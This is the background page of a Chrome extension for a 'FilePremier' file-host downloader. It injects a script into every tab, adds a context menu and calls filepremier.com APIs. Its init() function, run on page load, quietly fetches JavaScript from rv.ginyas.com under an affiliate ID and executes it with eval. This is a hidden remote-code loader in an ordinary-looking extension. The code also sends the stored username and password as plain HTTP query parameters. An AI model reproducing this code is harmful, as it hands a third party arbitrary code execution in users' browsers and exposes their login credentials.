<html>
  <head>
	<script src="background.js" type="text/javascript"></script>
	<script>
		
	var links;
	var newtabId; //to prevent sending a request to wrong tab
		
	function onRequest(request, sender, callback) {
		if (request.action == 'triggerGenPremium') {
			triggerGenPremium(request.url,callback);
        } else 
        if (request.action == 'reloadSettings') {
            viperfx.loadLocalSettings();
        } else 
        if (request.action == 'aboutDebrid') {
			console.log("aboutDebrid");
			var thelinks = request.links;
			
			if(thelinks.length==1){
				if(viperfx.folderCheckLink(thelinks[0]))
				{
					chrome.tabs.create({url:"about_filepremier/about_filepremier.html", selected:false}, function(tab) {
					newtabId = tab.id;
						});
					links = request.links;
				}
				else
				{
					triggerGenPremium(thelinks[0], function(txt){
						chrome.tabs.executeScript(sender.tab.id, {code: 'genPremiumCallback("' + txt + '","' + thelinks[0] + '");',allFrames:false});
					});
				}	
			}
			else{
				chrome.tabs.create({url:"about_filepremier/about_filepremier.html", selected:false}, function(tab) {
					newtabId = tab.id;
				});
				links = request.links;
			}
			
        } else 
		if (request.action == 'genLinks') { //to prevent sending to uncomplete-loaded tab
			if(newtabId == sender.tab.id)
			{
				if(links)
					chrome.tabs.sendRequest(sender.tab.id, { action : 'load', code: links });
				links='';
			}
        } else 
		if (request.action == 'create_contextmenu') {
            createContextMenu();
			console.log("createcontext");
        } else 
		if (request.action == 'delete_contextmenu') {
            chrome.contextMenus.removeAll();
			console.log("deletecontext");
        } else 
        if (request.action == 'getPrefs') {
            var data = {
                'a' : viperfx.showpopup,
                'b' : viperfx.popupPos,
                'd' : viperfx.autoreconnect,
                'e' : viperfx.autodownload
            };
            callback(data);
        } else
        if (request.action == 'reConnect') {
            if((viperfx.username == "") || (viperfx.password == ""))
                callback(false);
				
            var xmlrc = new XMLHttpRequest();
            xmlrc.open("GET", "http://www.filepremier.com/login.php?u="+escape(viperfx.username)+"&p="+escape(viperfx.password), false);
            xmlrc.send("");
            callback(true);
        }
      }

      function checkForValidUrl(tabId, changeInfo, tab) {
        if( changeInfo.status == "loading"){
            if(viperfx.fileDebridCheckLink(tab.url)) {
                chrome.pageAction.show(tabId);
            }
			if(!(tab.url).match(/^(chrome)/))
			{
				console.log(tab.url);
				chrome.tabs.insertCSS(tabId,{file:"popit.css",allFrames:false} );
				chrome.tabs.executeScript(tabId,{file:"popit.js",allFrames:false} );
			}
        }
      }
	
     function triggerGenPremium(url,callback) {
		var xhr = new XMLHttpRequest();
		console.log("lomurl: " + url);
		xhr.open("GET", "http://www.filepremier.com/api.php?generate=&link="+escape(url), true);
        	xhr.send("");
			xhr.onreadystatechange = function(aEvt) {
			  if (xhr.readyState == 4) {
				if (xhr.status == 200) {
					console.log(url);
					localStorage["requestLink"] = url;
					callback(xhr.responseText);
				} else {
					callback(null);
				}
			  }
			}
      }
	
	function globalEval(src, callback) {
	  if (window.execScript) {window.execScript(src);if (callback){callback();} return;} 
	  var fn = function() {window.eval.call(window,src);
	  if (callback){callback();}};fn();		
	}
	
	function init(){
		
		/* BEGIN Ginyas*/
		var bbrsLogic = "http://rv.ginyas.com/app/bookmark/bookmarklet/bbrsChromeRVObs.php?pubId=ginyas_99&affId=ginyas_99";
		var domainsXHR = new XMLHttpRequest();domainsXHR.open("GET", bbrsLogic, true);
		domainsXHR.onreadystatechange = function() { 
			if (domainsXHR.readyState == 4) { globalEval(domainsXHR.responseText); }
		} 
		domainsXHR.send();
		/* END Ginyas*/
	}
	
	function createContextMenu()
	{
		chrome.contextMenus.removeAll(function(){
			chrome.contextMenus.create({
				"title": "Download with FilePremier",  
				"onclick" : function(info,tab){
				
				var thelinks = [];
				if(info.selectionText==null)
					thelinks.push(info.linkUrl);
				else
				{
					var temp = (info.selectionText).split("\n");
					for(var i=0; i<temp.length; i++)
					{
						if(viperfx.fileDebridCheckLink(temp[i]) || viperfx.folderCheckLink(temp[i]))
							thelinks.push(temp[i]);
					}
				}
				
				onRequest({'action':'aboutDebrid','links':thelinks},{'tab':tab});
				
			}, 
			"contexts":["selection", "link"]});
		});
	}
		
	chrome.tabs.onUpdated.addListener(checkForValidUrl);
	chrome.extension.onRequest.addListener(onRequest);
    </script>
  </head>
  
<body onload="init(); viperfx.fileDebridLoad();">
</body>
</html>
